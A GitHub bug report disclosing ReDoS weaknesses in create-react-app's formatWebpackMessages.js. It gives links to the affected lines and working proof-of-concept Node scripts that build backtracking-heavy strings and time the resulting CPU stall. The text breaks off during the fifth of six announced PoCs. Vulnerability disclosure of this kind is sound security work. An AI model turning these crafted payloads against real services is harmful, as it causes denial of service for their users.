Inefficient Regular Expression Complexity in react

Author: guiyi-heCreated Jan 12, 2026Updated May 22, 2026
Labelsneeds triageissue: bug report

For commit record 0a827f6, there is a potential ReDoS vulnerability risk in the regular expression entries in the following six code instances. https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L34 https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L39 https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L52 https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L57 https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L61 https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L65

The following six PoC.js code snippets can trigger this regular expression vulnerability, causing high CPU usage and high response time.

/**
 * ReDoS PoC for regexId: 1 - Iteration 1
 *
 * Target Regex: /Module [A-z ]+\(from/
 * Dataflow Path: json → json.errors → formatMessage(message) → split('\n') → filter test
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits message into array
 *   - Line 34: lines.filter() - tests each line with vulnerable regex
 * Sink Location: Line 34-43 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 808ms < 2000ms (failed)
 *
 * Iteration 1 Changes:
 * - Diagnosis: Payload integrity verified ✓, but intensity insufficient
 * - Problem Type 2.2: Payload intensity too low
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 20000 → 50000
 * - Reasoning: Original payload caused 808ms backtracking, ~2.5x increase should
 *   push execution time well above 2000ms threshold
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity");
console.log("[+] Target Vulnerability: regexId 1");
console.log("[+] Vulnerable Regex: /Module [A-z ]+\\(from/");
console.log("[+] Previous result: 808ms (Phase 2)");
console.log("[+] Optimization: repeatTimes 20000 → 50000");

// Construct base payload using components from vulnerability report
const prefix = "";
const infix = "Module ";
const suffix = "\u0000";
const repeatTimes = 50000;  // Increased from 20000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 34-43, filter with regex test");
console.log("[+] Data transformation: split('\\n') creates array of lines");
console.log("[+] Each line is tested individually by the regex");

// Construct final payload
const final_payload = base_payload;
console.log("[+] No path constraints detected, using base payload directly");
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 1 test completed.");
console.log("[+] Expected: Sink time should significantly exceed previous 808ms result.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L34
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 2 - Iteration 1
 *
 * Target Regex: /Line (\d+):(?:(\d+):)?\s*Parsing error: (.+)$/
 * Dataflow Path: json → json.errors → formatMessage(message) → split('\n') → map with exec
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits message into array
 *   - Line 38-46: lines.map() - tests each line with regex.exec()
 *   - CRITICAL: split('\n') removes \n from original suffix
 * Suffix Adjustment: Original suffix "\n@@" adjusted to "\r@@"
 * Sink Location: Line 48-56 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 703ms < 2000ms (failed)
 *
 * Iteration 1 Changes:
 * - Diagnosis: Suffix correctly adjusted ✓, but payload intensity insufficient
 * - Problem Type 2.2: Payload intensity too low
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 10000 → 25000
 * - Reasoning: Original payload caused 703ms backtracking, ~2.5x increase should
 *   push execution time above 2000ms threshold
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity");
console.log("[+] Target Vulnerability: regexId 2");
console.log("[+] Vulnerable Regex: /Line (\\d+):(?:(\\d+):)?\\s*Parsing error: (.+)$/");
console.log("[+] Previous result: 703ms (Phase 2)");
console.log("[+] Optimization: repeatTimes 10000 → 25000");

// Construct base payload using components from vulnerability report
const prefix = "";
const infix = "Line 1:1: Parsing error: ";
const original_suffix = "\n@@";
const repeatTimes = 25000;  // Increased from 10000

console.log(`[+] Original suffix: ${JSON.stringify(original_suffix)}`);

// Analyze data transformation impact
console.log("\n[+] Analyzing data transformation impact on suffix...");
console.log("[+] Transformation detected: split('\\n') at line 21");
console.log("[+] Impact: \\n will be used as split delimiter and removed from payload");
console.log("[+] Regex contains (.+) which doesn't match \\n, \\r, \\u2028, \\u2029");
console.log("[+] Strategy: Replace \\n with \\r to preserve 'unmatchable' property");

// Adjust suffix to survive split('\n') transformation
const adjusted_suffix = original_suffix.replace(/\n/g, '\r');
console.log(`[+] Adjusted suffix: ${JSON.stringify(adjusted_suffix)}`);

const base_payload = prefix + infix.repeat(repeatTimes) + adjusted_suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 48-56, map with regex.exec()");
console.log("[+] After split('\\n'), each line is tested individually");
console.log("[+] Adjusted suffix ensures regex cannot fully match, forcing backtracking");

// Construct final payload
const final_payload = base_payload;
console.log("[+] No additional path constraints, using base payload");
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 1 test completed.");
console.log("[+] Expected: Sink time should significantly exceed previous 703ms result.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L39
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 3 - Iteration 2
 *
 * Target Regex: /SyntaxError\s+\((\d+):(\d+)\)\s*(.+?)\n/g
 * Dataflow Path: json → json.errors → formatMessage → split → map → join → replace
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits into array
 *   - Line 38-47: lines.map() - transforms each line
 *   - Line 49: lines.join('\n') - rejoins with \n separators
 *   - Line 51-53: message.replace() with vulnerable regex - SINK
 * Sink Location: Line 66-75 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 317ms < 2000ms (failed)
 * Iteration 1: repeatTimes 40000 → 100000, Sink time 1952ms (48ms short!)
 *
 * Iteration 2 Changes:
 * - Previous attempt very close (1952ms vs 2000ms threshold)
 * - Strategy Applied: Fine-tuned Payload Intensity Increase
 * - Change: Increased repeatTimes from 100000 → 110000
 * - Reasoning: 10% increase should push execution just over 2000ms threshold
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 2: Fine-tuned payload intensity");
console.log("[+] Target Vulnerability: regexId 3");
console.log("[+] Vulnerable Regex: /SyntaxError\\s+\\((\\d+):(\\d+)\\)\\s*(.+?)\\n/g");
console.log("[+] Iteration 1 result: 1952ms (48ms short of threshold)");
console.log("[+] Optimization: repeatTimes 100000 → 110000");

// Construct base payload using components from vulnerability report
const prefix = "SyntaxError\t(0:0) ";
const infix = " ";
const suffix = "@";
const repeatTimes = 110000;  // Increased from 100000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 66-75, message.replace() with vulnerable regex");
console.log("[+] Data transformation chain:");
console.log("    1. split('\\n') at line 21 → array of lines");
console.log("    2. map() at line 38-47 → transform lines");
console.log("    3. join('\\n') at line 49 → reassemble with \\n");
console.log("    4. replace() at line 66-75 → regex test (SINK)");

console.log("\n[+] Suffix analysis:");
console.log("[+] Regex expects pattern ending with \\n: (.+?)\\n");
console.log("[+] Suffix '@' does not contain \\n");
console.log("[+] After split→join cycle, \\n preserved between array elements");
console.log("[+] Suffix '@' at end prevents regex from matching, forcing backtracking");

// Construct final payload
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 2 test completed.");
console.log("[+] Expected: Sink time should exceed 2000ms threshold.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L52
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 4 - Iteration 1
 *
 * Target Regex: /^.*export '(.+?)' was not found in '(.+?)'.*$/gm
 * Dataflow Path: json → json.errors → formatMessage → split → map → join → replace
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits into array
 *   - Line 38-47: lines.map() - transforms each line
 *   - Line 49: lines.join('\n') - rejoins with \n
 *   - Line 51-53: First replace() operation
 *   - Line 56-58: Second replace() with vulnerable regex - SINK
 * Sink Location: Line 78-87 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 714ms < 2000ms (failed)
 *
 * Iteration 1 Changes:
 * - Diagnosis: Payload integrity verified ✓, but intensity insufficient
 * - Problem Type 2.2: Payload intensity too low
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 20000 → 50000
 * - Reasoning: Similar pattern to regexId 1 (714ms vs 808ms base). RegexId 1
 *   succeeded with 2.5x increase to 50000 reps, applying same ratio here.
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity");
console.log("[+] Target Vulnerability: regexId 4");
console.log("[+] Vulnerable Regex: /^.*export '(.+?)' was not found in '(.+?)'.*$/gm");
console.log("[+] Previous result: 714ms (Phase 2)");
console.log("[+] Optimization: repeatTimes 20000 → 50000");

// Construct base payload using components from vulnerability report
const prefix = " ";
const infix = "export '\u0000";
const suffix = "\n1\n";
const repeatTimes = 50000;  // Increased from 20000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 78-87, message.replace() with vulnerable regex");
console.log("[+] Data transformation chain:");
console.log("    1. split('\\n') at line 21 → array of lines");
console.log("    2. map() at line 38-47 → transform lines");
console.log("    3. join('\\n') at line 49 → reassemble with \\n");
console.log("    4. replace() at line 66-75 → first transform");
console.log("    5. replace() at line 78-87 → regex test (SINK)");

console.log("\n[+] Suffix analysis:");
console.log("[+] Regex uses multiline mode (gm), matching per-line");
console.log("[+] Pattern: ^.*export '...' was not found in '...'.*$");
console.log("[+] Suffix '\\n1\\n' preserved through split→join cycle");
console.log("[+] Payload creates multiple lines, none matching the expected pattern");
console.log("[+] Leading .* causes extensive backtracking when match fails");

// Construct final payload
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 1 test completed.");
console.log("[+] Expected: Sink time should significantly exceed previous 714ms result.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L57
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 5 - Iteration 1
 *
 * Target Regex: /^.*export 'default' \(imported as '(.+?)'\) was not found in '(.+?)'.*$/gm
 * Dataflow Path: json → json.errors → formatMessage → split → map → join → replace chains
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits into array
 *   - Line 38-47: lines.map() - transforms each line
 *   - Line 49: lines.join('\n') - rejoins with \n
 *   - Line 51-53: First replace() operation
 *   - Line 56-58: Second replace() operation
 *   - Line 60-62: Third replace() with vulnerable regex - SINK
 * Sink Location: Line 89-98 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 635ms < 2000ms (failed at target sink)
 * - Note: Payload triggered severe ReDoS (>30s timeout) at downstream regexId 6
 *
 * Iteration 1 Changes:
 * - Diagnosis: Payload effective at regexId 6, insufficient for target regexId 5
 * - Problem Type 2.2: Payload intensity too low for target sink
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 10000 → 25000
 * - Reasoning: Original 10000 reps caused only 635ms at target sink but >30s
 *   at regexId 6. Higher intensity should boost target sink performance while
 *   accepting that cross-influence with regexId 6 will persist.
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity for target sink");
console.log("[+] Target Vulnerability: regexId 5");
console.log("[+] Vulnerable Regex: /^.*export 'default' \\\\(imported as '(.+?)'\\\\) was not found in '(.+?)'.*$/gm");
console.log("[+] Previous result: 635ms at target (failed), >30s at regexId 6 (cross-influence)");
console.log("[+] Optimization: repeatTimes 10000 → 25000");

// Construct base payload using components from vulnerability report
const prefix = " ";
const infix = "export 'default' (imported as '\u0000";
const suffix = "\n1\n";
const repeatTimes = 25000;  // Increased from 10000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 89-98, message.replace() with vulnerable regex");
console.log("[+] Data transformation chain:");
console.log("    1. split('\\n') at line 21 → array of lines");
console.log("    2. map() at line 38-47 → transform lines");
console.log("    3. join('\\n') at line 49 → reassemble with \\n");
console.log("    4. replace() at line 66-75 → first transform");
console.log("    5. replace() at line 78-87 → second transform");
console.log("    6. replace() at line 89-98 → regex test (TARGET SINK)");

console.log("\n[+] Suffix analysis:");
console.log("[+] Regex uses multiline mode (gm), matching per-line");
console.log("[+] Pattern: ^.*export 'default' \\(imported as '...'\\) was not found in '...'.*$");
console.log("[+] Suffix '\\n1\\n' preserved through split→join cycle");
console.log("[+] Payload creates multiple lines, none matching the expected pattern");
console.log("[+] Leading .* causes extensive backtracking when match fails");

//